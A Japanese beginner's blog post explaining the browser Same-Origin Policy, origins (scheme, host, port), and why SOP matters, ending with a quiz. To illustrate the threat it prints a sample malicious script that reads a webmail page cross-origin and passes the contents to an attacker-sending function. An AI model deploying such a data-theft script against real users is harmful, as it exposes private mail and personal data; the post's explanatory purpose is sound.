No.13 新卒未経験エンジニアがWebセキュリティの基本「SOP」を分かりやすく解説してみた〜第1章　SOP〜

今回はWebセキュリティの基本となっている考え方である、SOP(Same-Origin Policy)について学ぶ機会があったのでまとめてみました！
章末に簡単なクイズも用意しています！

開発プロセスの時と同様、章立てしてまとめていきます！

## 目次
第1章　SOP → 今回はココ！
[第2章　JSONP](https://qiita.com/kosuke_aizawa/items/e51aaf450fb5379ef248)
[第3章　CORS](https://qiita.com/kosuke_aizawa/items/3106a1aff05194a7f10d)

## SOPってなんだ？？
SOPは正式名称をSame-Origin Policyといいます。
なんじゃそれ？という方もいるかと思います。
僕もSOPを学ぶまではそう思っていました。
ですが、僕たちの見えないところで実はこいつのおかげで悪いやつから守られているのです。

SOPの歴史は意外と古く、Wikipediaによると

```text:引用
1995年Netscape社によってJavaScriptと同時にウェブブラウザに導入されたセキュリティ上の考え方
```
だそうです。
どうやらJavaScriptとセキュリティに関係するらしい、ということは分かるかと思います。

直訳すると「同じ源泉の方針」。
「同じ」ということは「異なる」ということもあるんでしょうか？

## Originを知ろう！
SOPを解説する上で欠かせない**Origin(オリジン)**という概念を説明します。
オリジンとは、
**スキーム＋ホスト＋ポート番号**
の組み合わせのことを言います。

例えば以下のようなURLがあったとします。
例）http\://example.com:80
これを分解した時に

・http　→　スキーム
・example.com　→　ホスト
・:80　→　ポート

となっています。
ん？httpってプロトコルじゃないの？スキームって何？と初心者の僕は思いました。
調べてみると、どうやらURLの最初につく「〇〇://」の部分のことをスキームというようです。
インターネットを通じて「//」以下にアクセスする時に、スキームにhttpやhttpsといったプロトコル名が入ってくるんですね。
確かに調べると、スキームは「枠組み」といった意味を持つようです。

※ちなみに「:80」というポート番号みたことないという方のために念のための解説※
httpというプロトコルで通信する時はデフォルトで、サーバーの80番ポートに接続しにいきます。
「:80」というのはデフォルト値のため、基本的には省略されます。

この、スキーム・ホスト・ポートのどれか一つでも異なる場合、それは異なるオリジンだということになります。
なので、例えば
`http://www.example.com`
や、
`https://example.co.jp`
などは別オリジンということになります。

## つまりSOPはこういうこと
以上を踏まえてもう一度SOPを説明します。
SOPは日本語では一般的に**同一生成元ポリシー**と呼びます。

Same-originは同一オリジンということ。
つまり、同一のスキーム・ホスト・ポートを持つということです。

ではポリシーとは一体どんなポリシーか。
それは、**同一オリジンからのみリソースへのアクセスを許可する**というポリシーです。

SOPの基本的な理屈は、あるサーバで実行されたJavaScriptは他のサーバ・他のポート・他のスキームのコンテンツにアクセスして情報を得ることが出来ないということです。

このSOPという仕組みは主要ブラウザ全てで実装されているセキュリティの概念です。
つまりブラウザ上で発生する通信において、異なるオリジンへのアクセスが制限されてしまうのです。
裏を返すとサーバサイドでのアクセスは関係ないということです。

僕のイメージで伝えると入国審査のような感じです。
日本というブラウザがあると思ってください。
アメリカでは銃の所持が認められています。
しかし、アメリカから日本に銃を持ち込むことは出来ません。
アメリカ国内(同一オリジン内)では銃(データ)のやり取りは自由ですが、日本国内(異なるオリジン)から銃(データ)を取得しようとすると、
日本への入国時に弾かれます。
そして、裏社会（サーバーサイド）での取引は表に出てこないのでお咎めなし。

ちなみにこちらのサイトで実際にブラウザ上の操作でSOPを体感出来ます！
[簡単にSOP周辺を理解するページ](http://vulnerabledoma.in/camp2015_sop/)

## SOPはなんのために存在する？
では、SOPはなんのために存在し、どのようなセキュリティを守っているのでしょうか。
もしSOPがなかったら、の話をしましょう。

例えばあなたがWebメールのサービスを提供するサイト(`http://mail.com/index.html`)にログインしてメールを読んでいるとします。
そこで他の用事を思い出したあなたは別のサイト(`http://waruiyatsu.com`)を閲覧しに行きました。
もし、そのサイトに以下のようなスクリプトが埋め込まれていた場合、、、

```javascript:悪意のあるスクリプト
<script language="javascript">
  var req;
  if( window.XMLHttpRequest){
    req = new XMLHttpRequest();
  }else if(window.ActiveXObject){
    try {
      req = new ActiveXObject("MSXML2.XMLHTTP");
    } catch (e) {
      req = new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
  if (req) {
    req.open('GET', 'http://mail.com/index.html'); // クロスドメインアクセス
    req.onreadystatechange = function() {
      if (req.readyState == 4) {
        sendtoAttacker(req.responseText); // 取得した情報を攻撃者のサーバへ送信
      }
    }
    req.send(null);
  }
</script>
```
このスクリプトが実行されてしまうと、あなたが見ていたメールの一覧画面のデータがそのまま攻撃者に送信されてしまいます！！
さぁ、大変だ！！
個人情報の流出どころか情報漏洩の大災害！！

これを防いでくれているのがSOPという仕組みなのです。
こういったことから、SOPは今日での主要なブラウザには全て実装されてセキュリティの基本と呼ばれるまでになりました。

でもAPIとかで外部のサービスを利用したいていうこともあるし、、、
制限がきつくて不便そう、、、

そういった人が出てくるのも当然なのでこのSOPには抜け穴的なものがあります。
それを利用することでSOPの制限をすり抜けることも出来ます。
第2章、第3章ではそちらを解説していきますので乞うご期待を！

## まとめ
SOPの基本的な意味の解説となぜ必要かをまとめてみました。

・SOPは、同一生成元ポリシーの略で同一オリジンのアクセスのみ許可する制限のこと
・SOPがないとセキュリティガバガバになってしまうので必要！
・それをかいくぐる方法もある

ブラウザの裏でこんなことが起きていたとは全く知らなかったので驚きです。
エンジニアを始めてずっとPHPでサーバーサイドの開発ばかりやっていたのでフロントの知識もこれからつけていきます！！

## 復習クイズ
次のうち、同一オリジンと呼べるものはどの組み合わせでしょうか？

(A) `http://example.com/test.php　と　http://example.com/index.html`
(B) `http://example.com/index.html　と　https://example.com`
(C) `http://www.example.com:80　と　http://example.co.jp:80`
(D) `http://example.com　と　http://example:8080`